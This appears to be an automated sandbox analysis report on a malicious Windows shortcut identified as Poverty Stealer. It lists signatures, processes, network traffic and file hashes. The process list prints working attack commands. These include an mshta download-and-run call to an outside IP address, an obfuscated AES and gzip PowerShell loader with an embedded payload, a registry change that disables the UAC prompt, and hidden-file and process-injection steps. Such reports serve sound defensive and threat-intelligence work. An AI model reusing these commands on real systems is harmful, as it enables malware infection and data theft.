Analysis Overview
SHA256
05ef3c21d0ec7a856038e43c38032104948a535078649721b790548bf3260e28
Threat Level: Known bad
The file 05ef3c21d0ec7a856038e43c38032104948a535078649721b790548bf3260e28.lnk was found to be: Known bad.
Malicious Activity Summary
UAC bypass
Poverty Stealer
Detect Poverty Stealer Payload
Downloads MZ/PE file
Blocklisted process makes network request
Loads dropped DLL
Executes dropped EXE
Checks computer location settings
Suspicious use of SetThreadContext
Drops file in Windows directory
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
Views/modifies file attributes
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-03-05 02:01
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-03-05 02:01
Reported
2024-03-05 02:03
Platform
win10v2004-20240226-en
Max time kernel
149s
Max time network
157s
Command Line
Signatures
Detect Poverty Stealer Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Poverty Stealer
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Roaming\Photoshop.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Photoshop.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 628 set thread context of 1728 | N/A | C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Vss\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\05ef3c21d0ec7a856038e43c38032104948a535078649721b790548bf3260e28.lnk
C:\Windows\System32\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://91.92.251.35/Downloads/Ten/photoshop
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
start mshta http://91.92.251.35/Downloads/Ten/photoshop
C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" http://91.92.251.35/Downloads/Ten/photoshop
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ivXRRY = 'AAAAAAAAAAAAAAAAAAAAAHuMmso1AMeYPTqg2zmFYGLRAevBF0dzIBqwjcA2oQ2m8+KngkChOWPmpzxbUmz9iES2+wmHBDF4NNikX/9SA+8RZl3cvQDF00jQ0YmFtDKSgyA9b4/phWWKAp1Dd8/ytR6dOWK+gl5jA/RW80HrzF8zwxTzeNjzEdYIbAKbgIvUzpdq1PfpNgSDcrLwnf6wYoWXaDo+4f2SPpaJvd5bWGTy1EJj8FAnhAlSK/pbposi/hrdUPIRQvxHXKQQXZlr5NrPpLbhHHu78ydc6wwTCvZk77DaGi39y5qB230ZYk/e7tV27V3q01tqCxdx3tBcSKA7uAMyX8Ey/mjlsAOXbJ57iEolFiQtMkeLXRQnHlGQAom0cfG+TD7Cm01qvC5pMEeNJbLbciSdu9xs9T+c7tPx+xBYuPOvZFzYMN57JaeaZXehvSTkRY2hC6KnLkyRSwtTIKg1U8Ib7rr08szQWfdMaxRKVj3PGI/wQuxJ+WJA8tcTFqvoG6e88+mNmfdwt98gTMZWjCMtvnf4CBc92ueyM5vs56/2u+UVEJzepZUpK8lTTQTWjY1hlOFe0emGmyht+KS1zFSwWZBbRyNt0o5Dy9xG4GYyKw+ZUF5kF4SxYX6Yv7NLLkRJ1zA1vynUhhQD0GSeGUgNQ+quSJnyFSiEdpEa8NFWaep0COP5xyMiCOqi/EypECYLwCKEOwNqBqZ0/BjRXs3On8DJzDn994w83i+XNhIcnKswDJ1rV9Alxlwmt19nbz+Dn58l/ZcLWwvS6I+mTp8UBEk0CSxgzPNb8mX3rVtEvxZVuhLJa7/XWLcWSIGEtaXWpgRM/SbMXkdj7MO7V+BRMP1qf/dcU/TUhY1lotTnnHCHRFeLb1d1';$ftUus = 'ckRTZUh1VlFmVnlTa2luUmVGS3hIRGlVRktJVGF1aEI=';$qOFHjUF = New-Object 'System.Security.Cryptography.AesManaged';$qOFHjUF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qOFHjUF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qOFHjUF.BlockSize = 128;$qOFHjUF.KeySize = 256;$qOFHjUF.Key = [System.Convert]::FromBase64String($ftUus);$svgDF = [System.Convert]::FromBase64String($ivXRRY);$JuzxcfzI = $svgDF[0..15];$qOFHjUF.IV = $JuzxcfzI;$ceTYAICRx = $qOFHjUF.CreateDecryptor();$SsqoZtLKt = $ceTYAICRx.TransformFinalBlock($svgDF, 16, $svgDF.Length - 16);$qOFHjUF.Dispose();$JFlSsSI = New-Object System.IO.MemoryStream( , $SsqoZtLKt );$wBZvtko = New-Object System.IO.MemoryStream;$pFgGcVXpX = New-Object System.IO.Compression.GzipStream $JFlSsSI, ([IO.Compression.CompressionMode]::Decompress);$pFgGcVXpX.CopyTo( $wBZvtko );$pFgGcVXpX.Close();$JFlSsSI.Close();[byte[]] $xIpqeQj = $wBZvtko.ToArray();$BomjpubV = [System.Text.Encoding]::UTF8.GetString($xIpqeQj);$BomjpubV | powershell -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
C:\Users\Admin\AppData\Roaming\Photoshop.exe
"C:\Users\Admin\AppData\Roaming\Photoshop.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
C:\Windows\system32\mode.com
mode 65,10
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p125762329330388294023250819845 -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_5.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_4.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_3.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
C:\Windows\system32\attrib.exe
attrib +H "nmYIeCI7gcMH.exe"
C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe
"nmYIeCI7gcMH.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| NL | 91.92.251.35:80 | 91.92.251.35 | tcp |
| US | 8.8.8.8:53 | 35.251.92.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| GB | 172.217.169.74:443 | tcp | |
| US | 8.8.8.8:53 | 180.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
| NL | 91.92.251.35:80 | 91.92.251.35 | tcp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 13.107.253.64:443 | tcp | |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | joxi.net | udp |
| US | 104.21.73.118:80 | joxi.net | tcp |
| US | 104.21.73.118:443 | joxi.net | tcp |
| US | 8.8.8.8:53 | 118.73.21.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.16.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.193.132.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s345blvh.btk.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2444-9-0x000001D3FE2F0000-0x000001D3FE312000-memory.dmp
memory/2444-12-0x00007FF82CFB0000-0x00007FF82DA71000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | e924b42def82a0dc711ba227d46b2328 |
| SHA1 | 9b4f97aa90f59f3647b3f4e419f6195ff0ed34fd |
| SHA256 | 5d2fcee8c6d15b34beb556f98700e4e8f207a06ba3e28efe7bc1f34784280623 |
| SHA512 | f8c58207a8b8d9cfa8b190156aa24ee0ac908a2bc4a2d8f742b14a00f05bae88ac2b5fc5b5d20924e8f6ed98e277f16f93982c266926d670511fa4171426cbdc |
memory/1828-29-0x000002522BA70000-0x000002522C531000-memory.dmp
memory/1828-30-0x0000025244840000-0x0000025244850000-memory.dmp
memory/1828-32-0x0000025244840000-0x0000025244850000-memory.dmp
memory/1828-31-0x0000025244840000-0x0000025244850000-memory.dmp
memory/2444-33-0x00007FF82CFB0000-0x00007FF82DA71000-memory.dmp
memory/1044-44-0x000001E6825A0000-0x000001E6825B0000-memory.dmp
memory/1044-43-0x00007FF82A4A0000-0x00007FF82AF61000-memory.dmp
memory/1044-45-0x000001E6825A0000-0x000001E6825B0000-memory.dmp
memory/1044-46-0x000001E6825A0000-0x000001E6825B0000-memory.dmp
memory/1044-47-0x000001E69AF90000-0x000001E69AFD4000-memory.dmp
memory/1044-48-0x000001E69B060000-0x000001E69B0D6000-memory.dmp
memory/1828-49-0x000002522BA70000-0x000002522C531000-memory.dmp
memory/1828-50-0x000002522BA70000-0x000002522C531000-memory.dmp
memory/1828-53-0x0000025244840000-0x0000025244850000-memory.dmp
memory/1828-54-0x0000025244840000-0x0000025244850000-memory.dmp
memory/1828-55-0x0000025244840000-0x0000025244850000-memory.dmp
memory/1044-56-0x00007FF82A4A0000-0x00007FF82AF61000-memory.dmp
C:\Users\Admin\AppData\Roaming\Photoshop.exe
| MD5 | 7b4b426a17e54627a6ee78305249508c |
| SHA1 | 541889fd220c467a78a6e41c385e3646f09d2544 |
| SHA256 | bb48d0fa09c72b3e019c19308b38337f96549787815be71faa9f5aa6243fb041 |
| SHA512 | 4bb6a902498eca598bfbb6eb4e0baa90e0c3560687decb58d5e73f987bb96e3901290a92152d75aa97216833e78547b75086e7358d8e212ab677f6efcd87e053 |
C:\Users\Admin\AppData\Roaming\Photoshop.exe
| MD5 | a8048bd6fc7d336d7f6e0fd6800da673 |
| SHA1 | f28db14f2884ac1db0ce53a7ec7bee572541d902 |
| SHA256 | d7414d6e34052bd4194ebf979a405af4e0d39b42b6d4d6ad31db85fd78dcc31d |
| SHA512 | 570d1ac52dcb8f6c67983a4af99fece9f47e03beba83b9b2c95ce544f5b5f40c8c7e46019f5e106b258de2affee91988053dbab9e777e1c115d3803513eea066 |
C:\Users\Admin\AppData\Roaming\Photoshop.exe
| MD5 | e2220ef23d62310b8fb49798558fc356 |
| SHA1 | 22eda8e818e6abb5deb1176a8caf5b0647d57a6b |
| SHA256 | 6986d8faa363cc3adf4c6fc84ebb30361568b17267a79739f69941860481b78e |
| SHA512 | c169c76a87130072e9dfade83ccde4774091a1f8207b4190bb6daf4dc05483b6532eb4f5b0e04e26e9d6bd12e3ff88a79ab335b2a1871f28434ea3594b076930 |
memory/1044-69-0x00007FF82A4A0000-0x00007FF82AF61000-memory.dmp
memory/1828-71-0x000002522BA70000-0x000002522C531000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\main.bat
| MD5 | 12b875e85a885c81bc04161e9df9151a |
| SHA1 | 7d9e32a575e487611abb182b4d89b1ab4f4e7a06 |
| SHA256 | 97e80e083ba83a031bb03097cd81d86708165cd7eb1c070782e6a7234de784a5 |
| SHA512 | 3ba38a4024287bcaeee208a1c0158fae73a86d5581cf566309985bbd204e810eb5fd099a1816a9326c9e25bb08a2da20f2a4884978eb4e4ed8a3762c1057d0ca |
C:\Users\Admin\AppData\Local\Temp\main\file.bin
| MD5 | 984b78026a296c4b0cc20f30ed30a8a1 |
| SHA1 | 9ebe2b22c4e25edc0aa5370287864c2fc3bd5920 |
| SHA256 | 134e1b42d291f2b242432c4ad18679572924b476c651285c93b8981ed5b93235 |
| SHA512 | ed2d5f81c90232a73bace1782b377cf070a16655ae9f86ca9e1659c6075132e4222c00a645b76aa10f1d63cc6cc07949c41254b6ef6c880b5448d01b9268e654 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 349dfa0f7c4f22d67f27a9abe8778c86 |
| SHA1 | 4f5c8367f9b2292f5b7dc73bd4bdb4c022736e2f |
| SHA256 | 16833c81c35fbac25e4c806f04617b944fbdaa466d251f08e4dff718a6412be5 |
| SHA512 | 3feb371de3c93136699b2f28b95845b468698a1d545892b6adc046c1454795e5a69acdc78c2f5a1135ec39a625297c374234df47089a928997d07c9cfa000497 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 876132fb73099103c8136040396737ca |
| SHA1 | 1d1f3e3cf995ac7824307a405b6083f640e4e33c |
| SHA256 | 74ae2ec6f985cb2cf898a69c112f875bf93fc04621135aea029979abb3874b11 |
| SHA512 | c96e67248ac8c7886050a8f8538af09cfabeb0ac1d66980af9a6a67b1ceb7a6b9e86cae1af4743c07d9b68c88a4e698a98caa61ff85296f6726dd6cc996c3025 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 6cc2169083ae7a827b301871a41c30e8 |
| SHA1 | 9acdaf07f63ccfd6ded504ae1a8d4a0a7652248d |
| SHA256 | 367a10c0aac6e7bb56246c3f48e0a54be5f9deae4870c2d0bcac473faca7f2fa |
| SHA512 | 20b5a54476dc7d18a2f2e338f86c092cf86a81f0cb2b62cb338b83820899428a78a4ccc1977b07c7be07be925477e54243868ec528a6e88bb6f92f0c758d9358 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 42d38af6d6bb7757a2af8662376fa9ec |
| SHA1 | 128fa41b77bfe1eaf114a423db780046b262dbb3 |
| SHA256 | 57bc39dfecc8ca1a5986129249dadb967fd59227d699bc7f323d86fbdb0da8b5 |
| SHA512 | 74c71cc04d1a4cdb162122c3b4117ff6c4ea54f906400512430d881c97837b65f16bae8227c88326e3fc455ad548205c82cd120fc1ff8780412a1889d1ca7b08 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
| MD5 | 91bb7523f03ef9b567ea4fa972f92f68 |
| SHA1 | 9d2b617137b41a8bf909f2f4fe43ba5159747594 |
| SHA256 | 6fc67ba15759433a63eb34082a41be80394cdbad2b9a11934841227133ea62d6 |
| SHA512 | 7de69c574c312a46f17eadd2b80e8ff4206cd5c8c9a2f68ef18e867476053ed797ee583bbe2a28d9df13eb347de78f1bfc174f26235f522bb55da93b03933c11 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | f2bc75260c4dc6340e19b086f275f23b |
| SHA1 | 1d6776e6b83fa5096bb509065a1895b53d244e5a |
| SHA256 | 779b54cb84e03c5c29618fc2a67b74e9b22c276e9e51c64940711c3463fea6a9 |
| SHA512 | 80e315dd87afff5846a565898168975a5d3dc85aecef70acd2e441dc90186a12c7618e245452ea159d15763d028df9d90abd197d6bff65c011c2602e38513eb5 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 84dce6930241fbf55e8e49825151cbe0 |
| SHA1 | ab2292208d4f88b58e9d09afbf3efd8ac1fc25aa |
| SHA256 | e9ae6f0cb6cf16e888820bec8a7789a450b04b223c680b72bd23b6a836d755f2 |
| SHA512 | 7abebca387f9242b33ea5d685d545d7f393e6247913ebe3d69a40e35335351fdaa401568834c1f47f3c7694e289e5573bccfd7df869e2d107ecec66d865df8a4 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
| MD5 | f8e37275ce0eacb18f03972f25e95ed0 |
| SHA1 | f2e7be3d5387e5a862717f73a2453d5357f11b15 |
| SHA256 | 3cbde6d0d924ce8379e07338017cbd3a38dbebaed78ed7f8ccf9b77a650739fc |
| SHA512 | 8498058a38f5c349d5e0deca8efcba55b472aa1e3f538d415130c33f0ff1d3c569ef4987deb52312f93d6d1cb68fcd155f62e025ef325b49520a15e2b4e4dfa4 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 675407d2ece4c9224e725734b55f422e |
| SHA1 | 6a6016d63e1b82726840dfcc24249e635b4a966d |
| SHA256 | 753eaa0f80e614e4e8bc83968904b1460f44070c97986c7a8ba6cdbd8030d70d |
| SHA512 | eaafb12eeed2a1e5157b92f2e8a175f46db78c0a0018baf4b6ed8a33d807e3dd8ab658fb4bdc5fba15f0fb5b21bd0aae43eec55848c045bbb84683700374f577 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
| MD5 | b0ee41dbf2f08951c13569cb754a532a |
| SHA1 | 745aebfc11e334ef125efdb33330b75d9eab2919 |
| SHA256 | d483b4b71895255dfea5b99406626b1599d3850f823f8d285e28e70006b96b54 |
| SHA512 | aee14efeaa1f197416b6b119dd132f733d661ca01a8d585c9c70ff1743f876db1fefeeacab5d2857ab0d1f29029331fa3a2e27bed2af50dbb8db9bcc01183c59 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | db00b7f319494869fa521602dca18e7e |
| SHA1 | 1209ae2a93c3df5646bce2e4966bab908068b72c |
| SHA256 | 8f03191124969b14ccfae574aeb717666143ab51a14672552755b528043bd305 |
| SHA512 | 45c7d844360d305a74243ee6f59850aacb99cd64d2ffc8912f6ac44907feb69a33e0f58cc7f94dc3ee582083ce9911b96d10f58afc3e448416fe3cc2f530c6d0 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
| MD5 | 5f79b89dbaf23387caa818b0da7b8ea2 |
| SHA1 | 3c38d94819331fd551c07048841cfe6ecbf29e18 |
| SHA256 | 7abc58d9dd3dee48f88629c8dcaf12e72a337f8bf1dbce59d464ab6ed698b726 |
| SHA512 | a6381f3b0d3184ab098e9a40ca65dd1cec76cb7e0cfe13a5c2d188e4c8e6d077286c70a366ad6ffc7e7f68faa6240a730b7034fcaa00d1c1f0922e42c1edb8fc |
C:\Users\Admin\AppData\Local\Temp\main\extracted\nmYIeCI7gcMH.exe
| MD5 | a2599048150532ff6fe252cef66a0a9a |
| SHA1 | ae368eae4650fd3c75cfb4dbb0a53cd5331201bb |
| SHA256 | 92f7cdf850de1f4b8fb7b96298f3dba0a590f80fd46020a08f710176c6ef5ba0 |
| SHA512 | d6e4fa7c000ad4dcbe66d533a02cf5c1ff7d9410d14456b2c13df5506c3a05784bafb0e3aad2aeb35eafced1009be044654c41ea3d6cd9bdffe05821774f58a9 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 4fe97b925beae6dff3e2685a3b51d367 |
| SHA1 | 344297bda2f1fc7d62d6640ce9515f49600cfa7c |
| SHA256 | 1e8949b7e730e67a269cf60a8580af9929badabc36d82844e8edea4c00cfac47 |
| SHA512 | f4e4f00bc66cc3ce54aa5374a265a5efaf307757e9d2684da4b8ba2bde094abc17ef6f1ffc085ee9c8be8e61219ec2a3f69d7cc40ed50407047f0d7c5cc8930d |
C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
| MD5 | 52a996010e0bf508e3f42a33d551a184 |
| SHA1 | 2dae988471bfe7598a981b997bf77eae59013fc1 |
| SHA256 | 3ce93351d9de6756ce9ff59d7830e905d9bee98f599107c0bdeb6374a47a84cb |
| SHA512 | 74863d2b2abc30027ad7ee63cf518222d8934e4bc03312215b58d0921c180ff6416011c83ab5083855ec4cb1da395018e3d245c54ba6cc238b462cefc26e3787 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
| MD5 | 763cb011f068f184a672e254d3ce3c39 |
| SHA1 | 59eb148e6ad321cac5396e6a58c1528f7932befb |
| SHA256 | d25782f4a9573c40747458b6916e9332b34a349b3011ec85dd5d11a583a87105 |
| SHA512 | 530b8c0ad90b53f38cd56ffaf3766f33167c9922e55f8485ca87019275730c94dd6a84a1d9578163c45bae2743cf6981041f9ccc97ceb822f8d607f94a0c1d28 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 314c9eecec4e702f04cd34bf423cd24f |
| SHA1 | 23a24e0b875ebfe52062a85d5b5d4014ccef3c0b |
| SHA256 | c89c70f478a37253b0c7d363aafab4306b408a9f0a57432a788f763ba5c76880 |
| SHA512 | ba005a5176611b9152016462eac733fd4b078ab1fe6823193ef8dcfbe3fb3b56243b67a1fa9beeff75f22263c6792cd6c1cc7af63a7feb39e1bdada4c922a2d5 |
C:\Users\Admin\AppData\Local\Temp\main\nmYIeCI7gcMH.exe
| MD5 | fe044a66ff6ed6c1fa522a53af2ca535 |
| SHA1 | 78d7b327b5c0f0e93a2b4d6eae692aff4a50891b |
| SHA256 | 71d81eec84ec62a6f977f50f5cd5db6e50f52675d2d1407db8412f1edf2721ab |
| SHA512 | ac2eda0d82979b812bfbdf6e61b88e88b3309edefb78690f3632a9e8967d9193beaf3147cf734756b84e5206b06b20f7ce48a236dd1e9ab8d2660e81c1ded2fc |
memory/628-135-0x0000000001200000-0x0000000001300000-memory.dmp
memory/1728-136-0x0000000000400000-0x000000000040A000-memory.dmp
memory/1728-142-0x0000000000400000-0x000000000040A000-memory.dmp
memory/1728-143-0x0000000000400000-0x000000000040A000-memory.dmp
memory/1728-144-0x0000000000400000-0x000000000040A000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-03-05 02:01
Reported
2024-03-05 02:03
Platform
win7-20240220-en
Max time kernel
120s
Max time network
120s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Vss\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\Vss\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\Vss\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\system32\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
